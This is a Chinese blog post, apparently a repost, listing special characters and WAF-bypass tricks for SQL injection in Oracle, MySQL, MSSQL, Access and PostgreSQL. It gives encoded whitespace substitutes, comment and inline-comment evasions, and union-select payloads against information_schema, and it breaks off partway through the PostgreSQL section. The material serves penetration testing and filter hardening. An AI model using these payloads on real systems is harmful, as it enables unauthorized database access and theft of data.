url和mysql注入中的特殊字符的使用

  • 注入使用到的特殊字符

URL中特殊字符

  1. %00配合分号“;”使用表示NULL,mysql语句结束
  2. %23代表字符#号
  3. %20代表空格
  4.  

MYSQL中特殊字符

  1. ()代替“空格”
  2. 0x7e代表字符“~”
  3.  ;%00(代表;null)可以作为语句结束
  4. #  可作为语句结束
  5. -- (--后面有个空格,在url中用+号表示)  可以作为语句结束

 

数据库语法整理及WAF绕过方式

转自:https://blog.csdn.net/RuoLi_s/article/details/120562151?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-120562151-blog-104975445.235^v43^pc_blog_bottom_relevance_base5&spm=1001.2101.3001.4242.1&utm_relevant_index=3

原文链接请点击:https://www.cnblogs.com/ruoli-s/p/15355611.html

关系型数据库

关系型数据库:指采用了关系模型来组织数据的数据库。

直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织

当今主流的关系型数据库有:OracleMicrosoft SQL ServerMySQLPostgreSQLDB2, Microsoft Access, SQLiteMariaDB

Oracle

Oracle特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可利用其他符号:.
  • 位置二

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
  • 位置三

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可利用其他符号:+ 、- 、%ad
  • 位置四

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
  • 位置五

    • 可利用其他控制字符替换空格:%00%09%0a%0b%0c%0d
    • 可插入字符:%24、`%30-%ff

MySQL

MySql语法:

  • 绕过逗号过滤
原码:union select 1,2,3,4;
绕过:union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d;
  • MySql特性:
select id,contents,time from news where news_id=1unionselect1,2,db_name() ④ from ⑤ admin
  • 位置一
    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
    • Select/**/*/**/from/**/[dbo].[Users]/**/where id =1
    • 可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N
  • 位置二

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
    • 可利用括号 :union(select 1,2)
  • 位置三

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
    • 可利用其他符号:+ 、- 、~ 、@
  • 位置四

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    • 可利用注释符号:/**/#--+

    • 可利用数学运算以及数据类型:union select user(),2.0from admin

      union select user(),8e0from admin
      
      ​ union select user(),\Nfrom admin

       

  • 位置五

    • 可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可利用注释符号:/**/#--+
  • 全局位置

    • 可利用 反引号 号:
    union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)
    • 可利用内联注释:
    union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)
    • 可利用{}号:
    id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
    • 可利用()号:
    id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

MSSQL

MSSQL特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F
    • 可利用注释符号:/**/
    • 可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1
  • 位置二

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F
    • 可利用注释符号:/**/
    • 可利用冒号:union:slect
  • 位置三

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F
    • 可利用注释符号:/**/
    • 可利用其他符号:+ 、- 、~ 、:.
  • 位置四

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F

    • 可利用注释符号:/**/

    • 可利用其他字符:%80~%FF

  • 位置五

    • 可利用其他控制字符替换空格:%01~%0F%11~%1F

    • 可利用注释符号:/**/

    • 可利用冒号:union:select

    • 可利用其他字符::.%80~%FF

Access

Access特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name() ④ from ⑤ admin
  • 位置一

    • 可利用其他控制字符替换空格:%09%0a%0c%0d%16
  • 位置二

    • 可利用其他控制字符替换空格:%09%0a%0c%0d
  • 位置三

    • 可利用其他控制字符替换空格:%09%0a%0c%0d
    • 可利用其他符号:+ 、- 、. 、=
  • 位置四

    • 可利用其他控制字符替换空格:%09%0a%0c%0d
  • 位置五

    • 可利用其他控制字符替换空格:%09%0a%0c%0d

PostgreSQL

数据库特性

  • Postgresql 字符串
    • Postgres 输入的所有字符串都被认为是 Unknown 类型
  • Unknown 类型有两种输入模式:
    • 单引号转义模式;
    • 美元符逃逸模式;
  • 在单引号转义模式中允许使用前缀 E/U/B/X 表示转义字符串/Unicode 字符串/位串。
    • 其中 E 表示进行 C 语言风格的转义;
    • U 表示进行 Unicode 转义,并支持自定义转义符;
    • B 和 X 代表后续跟随的是一个 bit 序列;

PostgreSQL特性:

select id,contents,time from news where news_id=1unionselect1,2,db_name() ④ from ⑤ admin
  • 位置一
    • 可利用其他控制字符替换空格:

继续查看,请参考上面的连接原文

posted on 2024-04-03 20:00  叶子在行动  阅读(50)  评论(0编辑  收藏  举报

导航